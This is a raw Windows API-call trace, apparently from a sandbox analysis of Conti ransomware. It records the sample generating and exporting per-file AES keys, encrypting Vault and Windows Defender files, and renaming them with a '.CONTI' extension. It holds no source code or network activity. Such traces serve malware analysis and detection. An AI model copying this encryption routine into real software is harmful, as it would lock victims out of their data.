	[0115.312] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.312] GetLastError () returned 0x0
	[0115.312] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=262) returned 1
	[0115.312] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x106
	[0115.313] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.313] SetEndOfFile (hFile=0x418) returned 1
	[0115.313] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.313] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.313] WriteFile (in: hFile=0x418, lpBuffer=0x65d00a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65d00a4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.314] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.314] ReadFile (in: hFile=0x418, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x106, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x106, lpOverlapped=0x0) returned 1
	[0115.314] CryptEncrypt (in: hKey=0x6b7f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x106, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x110) returned 1
	[0115.314] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.314] WriteFile (in: hFile=0x418, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x110, lpOverlapped=0x0) returned 1
	[0115.314] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.314] WriteFile (in: hFile=0x418, lpBuffer=0x65d0098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65d0098*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.314] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.315] CloseHandle (hObject=0x418) returned 1
	[0115.315] GetProcessHeap () returned 0x1720000
	[0115.315] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.315] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch"
	[0115.315] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.CONTI") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.CONTI"
	[0115.315] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.CONTI" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch.conti")) returned 1
	[0115.315] GetProcessHeap () returned 0x1720000
	[0115.315] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.315] CryptDestroyKey (hKey=0x6b7f4b8) returned 1
	[0115.315] GetProcessHeap () returned 0x1720000
	[0115.315] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb608 | out: hHeap=0x1720000) returned 1
	[0115.316] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.316] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65d2e40 | out: phKey=0x65d2e40*=0x6b7f438) returned 1
	[0115.316] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2e44, pdwDataLen=0x41ffb3c | out: pbData=0x65d2e44*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.316] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol")) returned 0x20
	[0115.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.317] GetLastError () returned 0x0
	[0115.317] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=444) returned 1
	[0115.317] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc
	[0115.317] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.317] SetEndOfFile (hFile=0x418) returned 1
	[0115.318] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.318] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.318] WriteFile (in: hFile=0x418, lpBuffer=0x65d2e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65d2e44*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.319] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.319] ReadFile (in: hFile=0x418, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x1bc, lpOverlapped=0x0) returned 1
	[0115.319] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1bc, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1c0) returned 1
	[0115.319] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.319] WriteFile (in: hFile=0x418, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x1c0, lpOverlapped=0x0) returned 1
	[0115.319] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.320] WriteFile (in: hFile=0x418, lpBuffer=0x65d2e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65d2e38*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.320] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.320] CloseHandle (hObject=0x418) returned 1
	[0115.320] GetProcessHeap () returned 0x1720000
	[0115.320] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656a0f8
	[0115.320] lstrcpyW (in: lpString1=0x656a0f8, lpString2="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol"
	[0115.320] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.CONTI") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.CONTI"
	[0115.320] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.CONTI" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol.conti")) returned 1
	[0115.321] GetProcessHeap () returned 0x1720000
	[0115.321] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656a0f8 | out: hHeap=0x1720000) returned 1
	[0115.321] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.321] GetProcessHeap () returned 0x1720000
	[0115.321] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e570 | out: hHeap=0x1720000) returned 1
	[0115.321] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.321] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65d1e48 | out: phKey=0x65d1e48*=0x6b7eff8) returned 1
	[0115.321] CryptExportKey (in: hKey=0x6b7eff8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1e4c, pdwDataLen=0x41ffb3c | out: pbData=0x65d1e4c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.322] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows" (normalized: "c:\\programdata\\microsoft\\windows")) returned 0x10
	[0115.322] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows" (normalized: "c:\\programdata\\microsoft\\windows"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.322] GetLastError () returned 0x5
	[0115.322] CryptDestroyKey (hKey=0x6b7eff8) returned 1
	[0115.322] GetProcessHeap () returned 0x1720000
	[0115.322] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d738 | out: hHeap=0x1720000) returned 1
	[0115.322] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.322] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b40bf8 | out: phKey=0x6b40bf8*=0x6b7f238) returned 1
	[0115.322] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40bfc, pdwDataLen=0x41ffb3c | out: pbData=0x6b40bfc*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.323] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm")) returned 0x20
	[0115.325] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.325] GetLastError () returned 0x5
	[0115.325] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0115.325] GetProcessHeap () returned 0x1720000
	[0115.325] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65606c0 | out: hHeap=0x1720000) returned 1
	[0115.325] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.325] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b419a8 | out: phKey=0x6b419a8*=0x6b7f438) returned 1
	[0115.325] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b419ac, pdwDataLen=0x41ffb3c | out: pbData=0x6b419ac*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.326] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm")) returned 0x20
	[0115.326] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.326] GetLastError () returned 0x5
	[0115.326] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.326] GetProcessHeap () returned 0x1720000
	[0115.326] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561320 | out: hHeap=0x1720000) returned 1
	[0115.326] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.326] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b40520 | out: phKey=0x6b40520*=0x6b7f278) returned 1
	[0115.326] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40524, pdwDataLen=0x41ffb3c | out: pbData=0x6b40524*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.327] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm")) returned 0x20
	[0115.327] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.327] GetLastError () returned 0x5
	[0115.327] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0115.327] GetProcessHeap () returned 0x1720000
	[0115.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560770 | out: hHeap=0x1720000) returned 1
	[0115.327] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.327] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b40e40 | out: phKey=0x6b40e40*=0x6b7f078) returned 1
	[0115.327] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40e44, pdwDataLen=0x41ffb3c | out: pbData=0x6b40e44*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.328] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm")) returned 0x20
	[0115.328] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.328] GetLastError () returned 0x5
	[0115.328] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0115.328] GetProcessHeap () returned 0x1720000
	[0115.328] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560fb0 | out: hHeap=0x1720000) returned 1
	[0115.328] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.328] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b41bf0 | out: phKey=0x6b41bf0*=0x6b7f4b8) returned 1
	[0115.328] CryptExportKey (in: hKey=0x6b7f4b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b41bf4, pdwDataLen=0x41ffb3c | out: pbData=0x6b41bf4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.329] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm")) returned 0x20
	[0115.330] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.330] GetLastError () returned 0x5
	[0115.330] CryptDestroyKey (hKey=0x6b7f4b8) returned 1
	[0115.330] GetProcessHeap () returned 0x1720000
	[0115.330] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65615e0 | out: hHeap=0x1720000) returned 1
	[0115.330] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.330] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b42758 | out: phKey=0x6b42758*=0x6b7eff8) returned 1
	[0115.330] CryptExportKey (in: hKey=0x6b7eff8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4275c, pdwDataLen=0x41ffb3c | out: pbData=0x6b4275c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.331] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm")) returned 0x20
	[0115.331] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.331] GetLastError () returned 0x5
	[0115.331] CryptDestroyKey (hKey=0x6b7eff8) returned 1
	[0115.331] GetProcessHeap () returned 0x1720000
	[0115.331] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561110 | out: hHeap=0x1720000) returned 1
	[0115.331] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.331] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b40090 | out: phKey=0x6b40090*=0x6b7f438) returned 1
	[0115.331] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40094, pdwDataLen=0x41ffb3c | out: pbData=0x6b40094*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.332] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt")) returned 0x20
	[0115.332] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0115.333] GetLastError () returned 0x0
	[0115.333] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=353) returned 1
	[0115.333] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x161
	[0115.333] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.333] SetEndOfFile (hFile=0x3dc) returned 1
	[0115.333] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.334] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.334] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b40094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b40094*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.335] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.335] ReadFile (in: hFile=0x3dc, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x161, lpOverlapped=0x0) returned 1
	[0115.335] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x161, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x170) returned 1
	[0115.335] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.336] WriteFile (in: hFile=0x3dc, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x170, lpOverlapped=0x0) returned 1
	[0115.336] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
